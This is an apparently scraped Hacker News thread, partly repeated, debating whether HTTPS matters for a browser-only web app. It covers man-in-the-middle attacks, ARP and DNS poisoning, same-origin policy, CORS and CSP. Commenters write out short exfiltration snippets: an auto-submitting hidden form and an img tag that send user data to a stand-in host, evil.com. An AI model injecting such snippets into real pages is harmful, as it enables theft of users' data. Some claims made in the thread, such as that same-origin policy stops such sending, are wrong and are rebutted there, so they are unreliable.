5 ms·

> One very serious argument that HTTPS evangelists avoid is when there is no content to protect the security benefits of HTTPS evaporate. My site is a web appli

> One very serious argument that HTTPS evangelists avoid is when there is no content to protect the security benefits of HTTPS evaporate. My site is a web application that stores all user data in their browser. Their data does not come back to the server. The only thing that crosses the wire is a request for the application code and a response with that code. I would argue this model of application is substantially more secure that sending data across the wire regardless of whether that transmission is encrypted. That's a case where HTTPS really is essential! If you serve your application code over HTTP, then I can MiTM that connection and replace your application code with something that reads all the user data from the user's browser and then sends it to evil.com.

austincheney 8y ago
No. https://en.wikipedia.org/wiki/Same-origin_policy https://en.wikipedia.org/wiki/Same-origin_policy
- dragonwriter 8y ago
  How is the same origin policy helping when the attacker is impersonating your domain to the target?
  - austincheney 8y ago
    How would the attacker impersonate your domain? They would need configuration access to a router in the path to perform DNS actions in order to accomplish this. If they had that would they would have their eye on much bigger prizes than merely impersonating an Apache server. If they did actually have that they could impersonate your domain, your site content, and your HTTPS trust with a spoofed cert. In that case HTTPS is more harm than good because you are still completely compromised, but with a false trust relationship.
    - icebraining 8y ago
      They would need configuration access to a router in the path to perform DNS actions in order to accomplish this. Nope, they just need to poison its ARP cache. You can do that easily with a tool like Ettercap, if the router is in the same LAN as your machine. Every request (DNS, HTTP, etc) from the victim machine will now go to yours, and you control the responses it gets. Note that they aren't impersonating the domain to the whole world (hence they can't get a valid certificate, since no CA will accept their request), only to a local computer.
      - austincheney 8y ago
        ARP cache poisoning occurs at the switch not the router. It is an awesome form of attack, but access to the switch and the availability of that compromise are limited in scope. A single switch can only have so many machines connected even with VLANs. It also requires access from within the local LAN. I really don't think anybody is thinking of ARP poisoning when all these comments here mention public facing MiTM attacks merely because a page is served with HTTP instead of HTTPS. Since ARP is only layer 3 it really doesn't care if the page is sent via HTTPS and works the same either way.
        icebraining 8y ago
        ARP poisoning is just an example of a very simple and easy attack that can affect anyone that ever uses a public hotspot - on a cafe, university, workplace, etc. Another possibility - compromising home routers: https://arstechnica.com/information-technology/2018/05/hackers-infect-500000-consumer-routers-all-over-the-world-with-malware/ https://arstechnica.com/information-technology/2018/05/hacke... Other possible attacks would be to compromise an internal router at an office (affecting everyone up to the CEO), controlling a VPN or Tor exit node, etc. None of these give you the possibility of creating your own cert, but they do give you enough MITM access to fully compromise an HTTP site. Since ARP is only layer 3 it really doesn't care if the page is sent via HTTPS and works the same either way. The attack works in the sense that the traffic starts flowing through the attacker's machine, but the attacker is still prevented from changing anything in the page. That's the whole point of SSL/TLS.
    - Klathmon 8y ago
      DNS cache poisoning happens at a surprising rate. I had Verizon FIOS's DNS serve the wrong IP address for "www.google-analytics.com" before, for over 6 hours. The IP they returned for that hostname was located in Isreal, and was serving up malware in the analytics.js script on any page that included it. Luckily www.google-analytics.com is HSTS preloaded, and the cert the attacker served wasn't signed, so the request was blocked. But now imagine that instead of doing that to www.google-analytics.com, they did it to yoursite.com, but you don't have HTTPS enabled, so they are free to send whatever scrips they want to your users, return whatever data they want to their server (which the users's computer thinks is yoursite.com), and can even do a 301 redirect to their own domain after the initial attack to make sure they can keep unsuspecting victims under their control for long after their DNS cache poisoning gets fixed.
- gsnedders 8y ago
  There are enough "gaps" in the SOP that you can trivially move data cross-origin: most obviously <form action="https://evil.com/" https://evil.com/" method="post" id="dummy"><input type="hidden" value="my-data"></form><script>window.dummy.submit();</script>. In general terms, you can often write cross-origin, but you can't read.
  - austincheney 8y ago
    A form submission would refresh the page to the evil domain. It would change the domain in the address of the page. This same vector of attack can still occur with HTTPS so long as the malicious code is injected from a XSS or CRSF attack. The page address is the web's equivalent of physical security. If you cannot trust that there is no security.
    - untog 8y ago
      Put it in an iframe, then. No URL change, no page change. In any case, once the page has changed the URL visible to the user it's already too late. Their data is sent. I guess it's nice that they are informed that something happened but not really. And that unknown server could easily redirect the user straight back to the site they were on, so the user would only see a flash on their screen.
      - gsnedders 8y ago
        And even more stealthily, an iframe with display: none.
      - austincheney 8y ago
        How would that help? See this: https://news.ycombinator.com/item?id=17861667 https://news.ycombinator.com/item?id=17861667
    - majewsky 8y ago
      > A form submission would refresh the page to the evil domain. The server at evil.com can just reply with a redirect and it's likely that the address bar will not even show that it was at evil.com at some point. It will probably show "Connecting to evil.com..." or "Transferring data to evil.com..." at some point depending on how much data there is to transfer. But it would likely not be good.com vs. evil.com, it would be good.com vs. good.com.services.co.
- mechanicalpulse 8y ago
  Yes. https://en.m.wikipedia.org/wiki/Cross-origin_resource_sharing https://en.m.wikipedia.org/wiki/Cross-origin_resource_sharin...
  - austincheney 8y ago
    CSRF works the same whether the site is served via HTTP or HTTPS. CSRF attacks the server from the client, so HTTPS doesn't protect from this. HTTPS is an end-to-end encrypted tunnel.
- zaarn 8y ago
  SOP has the security properties of a piece of wet cardboard. That is, most attackers will refrain because punching wet cardboard gets them wet and covered in slimy cardboard, some will punch it extra hard for the same reasons.
- AgentME 8y ago
  If evil.com serves the proper CORS headers, then any site is allowed to make AJAX calls to it. Also, the attacker could inject <img> tags with a src attribute pointing to "https://evil.com?userdata=..." https://evil.com?userdata=...". Also, if the attacker is already man-in-the-middle attacking yoursite.com, they could make the site's code make ajax calls to "yoursite.com/nothing-to-see-here". Users looking at the network requests may not notice anything is going on.
  - austincheney 8y ago
    CORS requires an HTTP header white listing allowed domains. If the attacker can modify the HTTP headers they don't need to modify the HTTP body in order to perform an attack. > Also, the attacker could inject <img> tags First, the image needs to be requested using the same protocol that requested the page or it will notify the user of insecure assets. Second, but they would have to write a custom script to gather the data to append as the URI query string. Third, the image would need to be injected after the user has manually entered information to the site, which eliminates static images in the HTML source. Fourth, actually test this. When I test it I get a CORS error in the browser. Strangely, Chrome reports this as a warning instead of as an error, but the request is blocked and it never leaves the browser. > Also, if the attacker is already man-in-the-middle attacking yoursite.com, they could make the site's code make ajax calls to No, that is not allowed by the browser and will throw an error. It violates same origin policy. If you can figure out how to break same origin policy Google will pay you $5000 for reporting a significant issue to their bug bounty.
    - AgentME 8y ago
      >CORS requires an HTTP header white listing allowed domains. If the attacker can modify the HTTP headers they don't need to modify the HTTP body in order to perform an attack. The attacker owns evil.com. They can make it have any headers they want, and then javascript on yoursite.com or any other site is allowed to make ajax requests to it. (Of course, they'd still need to do a man-in-the-middle attack on yoursite.com to modify yoursite.com's javascript. They technically don't need to involve evil.com if they're MITMing yoursite.com as I mentioned at the end of my post above, but it is a technically possible thing for them to do.) > First, the image needs to be requested using the same protocol that requested the page or it will notify the user of insecure assets. The attacker can make evil.com use HTTPS if they need to. There's no restrictions stopping attackers from getting certificates for their own domains. HTTPS doesn't signify that the owner of the domain is trustworthy; it just signifies that the contents you receive from a URL weren't MITMed. > Fourth, actually test this. When I test it I get a CORS error in the browser. Strangely, Chrome reports this as a warning instead of as an error, but the request is blocked and it never leaves the browser. Did you test this on HN? HN uses an unusually restrictive Content-Security-Policy header to restrict where assets can be loaded from. It is a protection against this sort of attack, but only a weak one against a determined attacker who can manipulate page javascript or html: An attacker could make every element on the page be a link to evil.com?userdata=..., which a lot of users will probably click. The user might realize something is up, but the attacker has already gotten their data so it's a bad consolation prize. Also, in the specific case of MITM attacks, CSP is no help since an attacker can just strip the header off. >No, that is not allowed by the browser and will throw an error. It violates same origin policy. If you can figure out how to break same origin policy Google will pay you $5000 for reporting a significant issue to their bug bounty. (I don't mean to brag, but just to point out a possibly relevant credential: I have gotten a 4-digit bug bounty payment from Google before.) If an attacker MITMs yoursite.com and modifies the javascript served by yoursite.com, then when a user navigates to yoursite.com, that javascript is allowed to connect to yoursite.com (or any domain that is served with CORS headers). The same origin policy is about preventing a domain from accessing domains that don't want to be accessed; it is not about preventing a domain from talking to anyone at all including itself. (Content-Security-Policy does focus on that, but it can be difficult to make bulletproof and should be treated as a defense-in-depth, and it's not relevant to MITM attacks at all since a MITM can just strip it.)
- Avamander 8y ago
  It's trivial to hijack an unencrypted connection to inject anything.
syn0byte 8y ago
You can implement authentication without encryption. Also, who says that HTTP content is always plaintext?
austincheney 8y ago
> and then sends it to evil.com. How would a man in the middle attack grant you that? This is the reason same origin policy exists. It is the foundation of web security. If can break SOP and prove it in a demonstration you can report this issue to Google as a defect in the top tier of their bug bounty for a sizable reward.
- icebraining 8y ago
  Without SSL, I can inject code directly into the main HTML, in the same origin context as yours.
  - austincheney 8y ago
    Yes, but the comment I replied to mentioned sending compromised data to a browser and then sending user data from the browser to an untrusted third party. The browser will not typically allow that due to same origin policy and certainly not if content security policy is applied.
    - icebraining 8y ago
      You keep saying the thing about same-origin; I wonder how you think Google Analytics and similar services work, if sites can't send data to external services. CSP headers won't ever reach the browser if the attacker has MITM, so they are irrelevant.
      - austincheney 8y ago
        They work the same way in HTTPS as they do in HTTP. Same origin applies to the domain of asset reference. If you have CSP in place you must specify an exception for GA or it won't work. If the attacker has MITM capabilities they can redirect the page to an untrusted location and bypass the valid server completely. MITM isn't typically limited to layer 7 unless the goal is to stand in the encrypted tunnel.

austincheney 8y ago

No. https://en.wikipedia.org/wiki/Same-origin_policy https://en.wikipedia.org/wiki/Same-origin_policy

dragonwriter 8y ago
How is the same origin policy helping when the attacker is impersonating your domain to the target?
- austincheney 8y ago
  How would the attacker impersonate your domain? They would need configuration access to a router in the path to perform DNS actions in order to accomplish this. If they had that would they would have their eye on much bigger prizes than merely impersonating an Apache server. If they did actually have that they could impersonate your domain, your site content, and your HTTPS trust with a spoofed cert. In that case HTTPS is more harm than good because you are still completely compromised, but with a false trust relationship.
  - icebraining 8y ago
    They would need configuration access to a router in the path to perform DNS actions in order to accomplish this. Nope, they just need to poison its ARP cache. You can do that easily with a tool like Ettercap, if the router is in the same LAN as your machine. Every request (DNS, HTTP, etc) from the victim machine will now go to yours, and you control the responses it gets. Note that they aren't impersonating the domain to the whole world (hence they can't get a valid certificate, since no CA will accept their request), only to a local computer.
    - austincheney 8y ago
      ARP cache poisoning occurs at the switch not the router. It is an awesome form of attack, but access to the switch and the availability of that compromise are limited in scope. A single switch can only have so many machines connected even with VLANs. It also requires access from within the local LAN. I really don't think anybody is thinking of ARP poisoning when all these comments here mention public facing MiTM attacks merely because a page is served with HTTP instead of HTTPS. Since ARP is only layer 3 it really doesn't care if the page is sent via HTTPS and works the same either way.
      - icebraining 8y ago
        ARP poisoning is just an example of a very simple and easy attack that can affect anyone that ever uses a public hotspot - on a cafe, university, workplace, etc. Another possibility - compromising home routers: https://arstechnica.com/information-technology/2018/05/hackers-infect-500000-consumer-routers-all-over-the-world-with-malware/ https://arstechnica.com/information-technology/2018/05/hacke... Other possible attacks would be to compromise an internal router at an office (affecting everyone up to the CEO), controlling a VPN or Tor exit node, etc. None of these give you the possibility of creating your own cert, but they do give you enough MITM access to fully compromise an HTTP site. Since ARP is only layer 3 it really doesn't care if the page is sent via HTTPS and works the same either way. The attack works in the sense that the traffic starts flowing through the attacker's machine, but the attacker is still prevented from changing anything in the page. That's the whole point of SSL/TLS.
  - Klathmon 8y ago
    DNS cache poisoning happens at a surprising rate. I had Verizon FIOS's DNS serve the wrong IP address for "www.google-analytics.com" before, for over 6 hours. The IP they returned for that hostname was located in Isreal, and was serving up malware in the analytics.js script on any page that included it. Luckily www.google-analytics.com is HSTS preloaded, and the cert the attacker served wasn't signed, so the request was blocked. But now imagine that instead of doing that to www.google-analytics.com, they did it to yoursite.com, but you don't have HTTPS enabled, so they are free to send whatever scrips they want to your users, return whatever data they want to their server (which the users's computer thinks is yoursite.com), and can even do a 301 redirect to their own domain after the initial attack to make sure they can keep unsuspecting victims under their control for long after their DNS cache poisoning gets fixed.
gsnedders 8y ago
There are enough "gaps" in the SOP that you can trivially move data cross-origin: most obviously <form action="https://evil.com/" https://evil.com/" method="post" id="dummy"><input type="hidden" value="my-data"></form><script>window.dummy.submit();</script>. In general terms, you can often write cross-origin, but you can't read.
- austincheney 8y ago
  A form submission would refresh the page to the evil domain. It would change the domain in the address of the page. This same vector of attack can still occur with HTTPS so long as the malicious code is injected from a XSS or CRSF attack. The page address is the web's equivalent of physical security. If you cannot trust that there is no security.
  - untog 8y ago
    Put it in an iframe, then. No URL change, no page change. In any case, once the page has changed the URL visible to the user it's already too late. Their data is sent. I guess it's nice that they are informed that something happened but not really. And that unknown server could easily redirect the user straight back to the site they were on, so the user would only see a flash on their screen.
    - gsnedders 8y ago
      And even more stealthily, an iframe with display: none.
    - austincheney 8y ago
      How would that help? See this: https://news.ycombinator.com/item?id=17861667 https://news.ycombinator.com/item?id=17861667
  - majewsky 8y ago
    > A form submission would refresh the page to the evil domain. The server at evil.com can just reply with a redirect and it's likely that the address bar will not even show that it was at evil.com at some point. It will probably show "Connecting to evil.com..." or "Transferring data to evil.com..." at some point depending on how much data there is to transfer. But it would likely not be good.com vs. evil.com, it would be good.com vs. good.com.services.co.
mechanicalpulse 8y ago
Yes. https://en.m.wikipedia.org/wiki/Cross-origin_resource_sharing https://en.m.wikipedia.org/wiki/Cross-origin_resource_sharin...
- austincheney 8y ago
  CSRF works the same whether the site is served via HTTP or HTTPS. CSRF attacks the server from the client, so HTTPS doesn't protect from this. HTTPS is an end-to-end encrypted tunnel.
zaarn 8y ago
SOP has the security properties of a piece of wet cardboard. That is, most attackers will refrain because punching wet cardboard gets them wet and covered in slimy cardboard, some will punch it extra hard for the same reasons.
AgentME 8y ago
If evil.com serves the proper CORS headers, then any site is allowed to make AJAX calls to it. Also, the attacker could inject <img> tags with a src attribute pointing to "https://evil.com?userdata=..." https://evil.com?userdata=...". Also, if the attacker is already man-in-the-middle attacking yoursite.com, they could make the site's code make ajax calls to "yoursite.com/nothing-to-see-here". Users looking at the network requests may not notice anything is going on.
- austincheney 8y ago
  CORS requires an HTTP header white listing allowed domains. If the attacker can modify the HTTP headers they don't need to modify the HTTP body in order to perform an attack. > Also, the attacker could inject <img> tags First, the image needs to be requested using the same protocol that requested the page or it will notify the user of insecure assets. Second, but they would have to write a custom script to gather the data to append as the URI query string. Third, the image would need to be injected after the user has manually entered information to the site, which eliminates static images in the HTML source. Fourth, actually test this. When I test it I get a CORS error in the browser. Strangely, Chrome reports this as a warning instead of as an error, but the request is blocked and it never leaves the browser. > Also, if the attacker is already man-in-the-middle attacking yoursite.com, they could make the site's code make ajax calls to No, that is not allowed by the browser and will throw an error. It violates same origin policy. If you can figure out how to break same origin policy Google will pay you $5000 for reporting a significant issue to their bug bounty.
  - AgentME 8y ago
    >CORS requires an HTTP header white listing allowed domains. If the attacker can modify the HTTP headers they don't need to modify the HTTP body in order to perform an attack. The attacker owns evil.com. They can make it have any headers they want, and then javascript on yoursite.com or any other site is allowed to make ajax requests to it. (Of course, they'd still need to do a man-in-the-middle attack on yoursite.com to modify yoursite.com's javascript. They technically don't need to involve evil.com if they're MITMing yoursite.com as I mentioned at the end of my post above, but it is a technically possible thing for them to do.) > First, the image needs to be requested using the same protocol that requested the page or it will notify the user of insecure assets. The attacker can make evil.com use HTTPS if they need to. There's no restrictions stopping attackers from getting certificates for their own domains. HTTPS doesn't signify that the owner of the domain is trustworthy; it just signifies that the contents you receive from a URL weren't MITMed. > Fourth, actually test this. When I test it I get a CORS error in the browser. Strangely, Chrome reports this as a warning instead of as an error, but the request is blocked and it never leaves the browser. Did you test this on HN? HN uses an unusually restrictive Content-Security-Policy header to restrict where assets can be loaded from. It is a protection against this sort of attack, but only a weak one against a determined attacker who can manipulate page javascript or html: An attacker could make every element on the page be a link to evil.com?userdata=..., which a lot of users will probably click. The user might realize something is up, but the attacker has already gotten their data so it's a bad consolation prize. Also, in the specific case of MITM attacks, CSP is no help since an attacker can just strip the header off. >No, that is not allowed by the browser and will throw an error. It violates same origin policy. If you can figure out how to break same origin policy Google will pay you $5000 for reporting a significant issue to their bug bounty. (I don't mean to brag, but just to point out a possibly relevant credential: I have gotten a 4-digit bug bounty payment from Google before.) If an attacker MITMs yoursite.com and modifies the javascript served by yoursite.com, then when a user navigates to yoursite.com, that javascript is allowed to connect to yoursite.com (or any domain that is served with CORS headers). The same origin policy is about preventing a domain from accessing domains that don't want to be accessed; it is not about preventing a domain from talking to anyone at all including itself. (Content-Security-Policy does focus on that, but it can be difficult to make bulletproof and should be treated as a defense-in-depth, and it's not relevant to MITM attacks at all since a MITM can just strip it.)
Avamander 8y ago
It's trivial to hijack an unencrypted connection to inject anything.

syn0byte 8y ago

You can implement authentication without encryption. Also, who says that HTTP content is always plaintext?

austincheney 8y ago

> and then sends it to evil.com. How would a man in the middle attack grant you that? This is the reason same origin policy exists. It is the foundation of web security. If can break SOP and prove it in a demonstration you can report this issue to Google as a defect in the top tier of their bug bounty for a sizable reward.

icebraining 8y ago
Without SSL, I can inject code directly into the main HTML, in the same origin context as yours.
- austincheney 8y ago
  Yes, but the comment I replied to mentioned sending compromised data to a browser and then sending user data from the browser to an untrusted third party. The browser will not typically allow that due to same origin policy and certainly not if content security policy is applied.
  - icebraining 8y ago
    You keep saying the thing about same-origin; I wonder how you think Google Analytics and similar services work, if sites can't send data to external services. CSP headers won't ever reach the browser if the attacker has MITM, so they are irrelevant.
    - austincheney 8y ago
      They work the same way in HTTPS as they do in HTTP. Same origin applies to the domain of asset reference. If you have CSP in place you must specify an exception for GA or it won't work. If the attacker has MITM capabilities they can redirect the page to an untrusted location and bypass the valid server completely. MITM isn't typically limited to layer 7 unless the goal is to stand in the encrypted tunnel.